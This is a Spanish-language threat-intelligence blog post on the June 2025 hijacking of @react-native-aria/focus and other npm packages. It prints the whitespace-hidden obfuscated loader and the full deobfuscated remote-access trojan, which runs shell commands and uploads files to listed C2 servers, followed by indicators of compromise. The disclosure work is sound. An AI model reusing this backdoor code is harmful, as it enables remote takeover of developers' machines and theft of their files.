Desde nuestra publicación de blog del 6 de mayo sobre el compromiso del popular paquete agente de usuario aleatorio, hemos estado siguiendo al actor de amenazas detrás del ataque. Observamos algunos ataques menores contra paquetes con poco o ningún uso recientemente. Sin embargo, anoche, 6 de junio de 2025, detectamos que el actor de amenazas realizó un movimiento significativo, comprometiendo paquetes muy populares con un millón de descargas combinadas por semana. Esta publicación de blog cubre lo que sabemos actualmente, pero la situación es un ataque en vivo y en curso, por lo que los detalles cambian cada hora.
¿Qué pasó?
El 6 de junio de 2025, a las 21:33 PM GMT, la versión 0.2.10 de @react-native-aria/focus fue lanzada:

Cabe destacar que la versión anterior, 0.2.9, fue lanzada el 18 de octubre de 2023, hace bastante tiempo. ¿Pero qué cambió en esta nueva versión? El único archivo modificado fue lib/commonjs/index.js. Nuestro análisis detectó que se había insertado código malicioso en la línea 46:

La razón por la que no vemos ningún código es que han utilizado ofuscación basada en espacios en blanco para empujar el código fuera de la pantalla en los editores de código sin ajuste de línea. Aquí está el código real que oculta:
global['_V']='8-npm13';global['r']=require;(function(){var mGB='',hsR=615-604;function EgY(i){var b=4608798;var j=i.length;var p=[];for(var x=0;x<j;x++){p[x]=i.charAt(x)};for(var x=0;x<j;x++){var f=b*(x+186)+(b%37898);var k=b*(x+403)+(b%35963);var v=f%j;var l=k%j;var g=p[v];p[v]=p[l];p[l]=g;b=(f+k)%6568124;};return p.join('')};var Uwn=EgY('koosdciqucxbhcmgtanzpylfwurjtrtvrnoes').substr(0,hsR);var VVy='vfi(a72=,rf4j,tr50avhzru.lvbt,(fvtiui;;+(2>rl,[6qedz ."mv n=;rjs;6,trnrlry6p) 7ah"0e.6a,8;t9h,>)}e)x8=3 aiz1o"r[{y)8e;hufaaat7g.2=;;a.(llspm.u=rmo,lonotosCe;eeC.;9"l=(0dl(;2 -t<c0p1=i="vn=o=rif5i-mi,rtesr)z;s)d=;tgj97n s(rl.;ku;1u+)(ptr me d,uy.+vdsd= ];ser.p =og m5agnrbo=8.lbo=n-0;aS{o0<l+=r.ia](f=lh2r(.arar= [a(mgA rs(cn=lvg ruh0(i7hra*j{rri"6;ka;a;,ig<onijro{i=(7f8);.;me90.e) {ev6 arlo{;f4r=bhva+;ija((]nia),isahp=l3-neta[1!;,,)hea2(u+=-.=;y)tfehs;0hS8vsA-iau09))Cp1,)evl(])[eCanv=ch4kgod=)a(.prd=]vv]h)nno=;nt(}r2(++v"=h;ri st}] +en8[n}i+s(s=yf()n]}e+l.;".7dahfnvvif.auei,a sr]s;ri+t(=ny7)"coA)( 1r=tq)[+g li+;g;3l)psln,aro<iC+;;fn18e,unfa+s[.;t((evv;sg[m-ljqg=)o+eC"t5a[sg.a[+vr1j)]+;f(h(a]t;uti=c1u r=2;8]+ra9,i36,.lrb1ec1,)+)+;(scl=+([rfe,sC!e; .bg=t=ohnf,kv4<.)i=+,etcot0o;e=i)]6Admria)hn,a+0fnh hup;tv;tupu7srA)k]rtr,or)d0)nonaer6reCl0)w}1o{o9}q(;gvm[.ag(qh,clihr8=j=v;. *(hvr6[';var EiK=EgY[Uwn];var ogb='';var ZML=EiK;var Bfb=EiK(ogb,EgY(VVy));var cag=Bfb(EgY('.+5]isscR}aRR)e_g%%t2)R%rwRd{7%f,Rl((sfRt}n4]g,of%tcdtni]%1ryb+8,)5%R)ctl2.R6wcR=12fcm*.o\/s(}()aoc59)8.hr}=s]$%R6(l pe]9b+oit6o,u2,i]"fj0(.m%t;tqod1u1[[te0.{f!(6)r .1%(afhoa]]i%ffn s7tet_rcs%_%!+%ngR%ae r%}-,6+tdcennl[t6\'m\/.hh(gl]!fiRt5es"]\/Ror+].(R%)rupi>RnRv5i-ie!;)nb]7et())oe06RRre=a12i(f.aRsj5 ec)werr5xt%%n:=6bR;Rs2n 1#eco)d_[tpts(tno5]R]Rk0ny;3R{%%]9R]))1r"aafRe).0h6%af!rR.](.%R=}n7*,(%]6e]p1>(R{mreee(8mtn+o,ftur}1R].s%R%_h]) cff(fs9Rh-%a%,n%fR7+=.}!tfnvk0R(oN$%; %)n >cohRpk843,.]wch=+t.nnR\'h=$caar10f7to,;So)3.R))n)%Rn;.S7#_.c{R;0(t)Re02fg.f,f()R[\/C.RhR3c1d5ics[te]eoRRf1.fRR9?6.4cRo(.t)}(R_22>a;R3eott2==e(-n%..=rfvr.i[t +.+dfR[=trzn=1;ct0.4f_[f:zw.{C45C3iR)6SR3;5St;a(bi,(i;;2a1aea_%fdc4RR&hR.]C{im8c%==}{ ce1s(:ca".,6r==r\'d0n;[;br.cu]de]le)-;}RsaRni%}4=nl[).R|]t%)(cR6b)4qi+!=h.$e=rRttR=Ra])4[]"R3R03]=f8tx].R.R.: Rr4n]((%;oy{t]+=Rf8;gz)}f9R:abnRRoctnt5Rgtm(o.R;Ri#[(l:1,Ra)e&a:e$(,[Rs,R$6Ru)e)snv&R(R5Rhe5maho(.Rw8"<9.2uRfTnR9R[]=[!)!5.Rc5<t&iae=il}!2.%S;}.m.fb\/)imnf{e.Rb ]0f).)3)).2a31[f..(!R2}0e),atv"8!ff16clNR(n.9({9d]Rr*5f*1>t0._ dia:rnrn9.\/8t1.9;i1w% t2"wo;..(R]]c:.,a],m!e .fr.4fR.RRb]=5e)%]61Rd 7+c;:]Rnf.hRcm$aR%ow{=f_u)nat._%p\/r((.t]_ca%:f0 o={6d_=trcfRc";n=f0t#}R)nh5ot=R.2so0cu=o;tttt R1[ca;RtrRm2utr2l[\/nof-fdc))5.(ol..ta$lR.ttcf[R+.d%ft1tig;}f.f+R=.Rlmb=18oRfr%>]i\/e_e=R%$;gReslo! 9[0]o:tR)n+66t0\'t9s(.rea_!)2vRrR1=r.gh3e"e20]}18us4%.R[)t(R%T9]#1c7lRfd;h]d\/an}1_pt(a;R>i;%.nR=)(];5=srR+9m]fa4+\'fn]ko%sgo)R,eo+f;1.0RR6R(%rpr5]5t}fc.b].0s!)r}2)9tfR|cR.a}i7e7]4(.ftw]rd=Rc$1w7]+[n.)].R)a 4$%S2$,[f8(2r9sRe=ta(ja$sn(nR&no)u[(2o()1[u}!ans(ip.=2=aa4tCaR.0ysbR.=}.b.f\'=2ei8Rca;u;RtR)66,erfR;.:b6.9%])a%t..;71a9]c3R,)eo] +))RfiR87.(#)>(Rc!f.rrt).R4)%.]=\'cccbR=4}=R2rta+oty+ht7\'gtRtscja:iaxetc(ed0(t]{{rR)[gl4.o7c8nd1n).snteensR5g1]0RtR};}eaec(tr7b.%Rr:;$5ait9)3o2R.seR:Rl]f )b Rff]i=}]))$a7cRs;0)} yx(arRR..a=e33 6.Rc,iR1m{4R+)Ra,o7e=qlin5$#pejl;R;t_b[_.s\/fp=,o{]6R%R((u=.she!2]a.=)sya(.}+l!2%]](faRindel](R0i+]e.!f6.t1f+]\/h+ic;ut8]7eck ]p2. Sc.l9.((_'));var mfa=ZML(mGB,cag );mfa(9993);return 6161})()Esta carga útil nos resultó inmediatamente familiar, ya que la habíamos visto antes. Confirmamos rápidamente que esto despliega una carga útil muy similar a la que documentamos el mes pasado cuando otro paquete popular, llamado agente de usuario aleatorio, fue comprometido. Puedes encontrar el detalles técnicos aquí sobre lo que hace la carga útil:
La situación escaló rápidamente
Desde entonces, hemos estado en vilo. No anticipábamos lo que sucedería a continuación, mientras veíamos en tiempo real cómo los atacantes empezaban a comprometer un número significativo de otros paquetes. Vimos cómo se comprometían todos estos paquetes:
En conjunto, estos paquetes reciben más de un millón de descargas a la semana.
¿Qué novedades hay desde el último compromiso?
Como se mencionó anteriormente, la carga útil que los atacantes están distribuyendo es prácticamente la misma que la documentada en el caso de rand-user-agent, pero SÍ existen algunas diferencias. A continuación, se muestra la carga útil completa que se despliega en el cliente cuando se ejecuta el malware:
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();
Nuevo servidor C2
Hay una variable en el código que ahora selecciona entre el servidor C2 visto anteriormente y uno nuevo que no habíamos detectado antes:
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";La variable d se asigna a partir de la variable en la parte superior de la puerta trasera:
global._V = '8-npm13';Esta variable parece ser una etiqueta de versión, seleccionando así el servidor C2 a utilizar en función de la versión del código que han desplegado.
Nuevos comandos
El RAT (Troyano de Acceso Remoto) tiene dos nuevos comandos:
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
}
...
ss_info: Vuelca el contexto del sistema y los metadatos:- Etiqueta de versión interna (
_V) - Tipo de SO, ruta de Node, versión de Node.js
- Ruta del script, directorio de trabajo, marcas de tiempo
- Etiqueta de versión interna (
ss_ip: Realiza una solicitud externa ahttp://ip-api.com/jsony devuelve información de IP pública.
Próximamente más
Hay mucho que decir sobre esta historia, pero dada la magnitud del ataque, queríamos concienciar sobre ello lo antes posible para que la gente pueda protegerse. Estos atacantes han demostrado consistentemente la capacidad de comprometer paquetes, desplegando sus troyanos de acceso remoto (RATs).
Indicadores de compromiso
Paquetes
IPs
Si cree que ha podido instalar alguno de los paquetes anteriores, revise su firewall en busca de conexiones salientes a estas IPs:
136.0.9[.]885.239.62[.]36
Backdoor
El RAT intentará persistir en el sistema a través de un archivo en la ruta %LOCALAPPDATA%\Programs\Python\Python3127 si está en Windows. Si encuentra algún archivo en esta ubicación, ha sido comprometido y ya no debería confiar en que el sistema sea seguro, ya que los atacantes podrían haber desplegado más cargas útiles posteriormente.
Protege tu software ahora.



.avif)
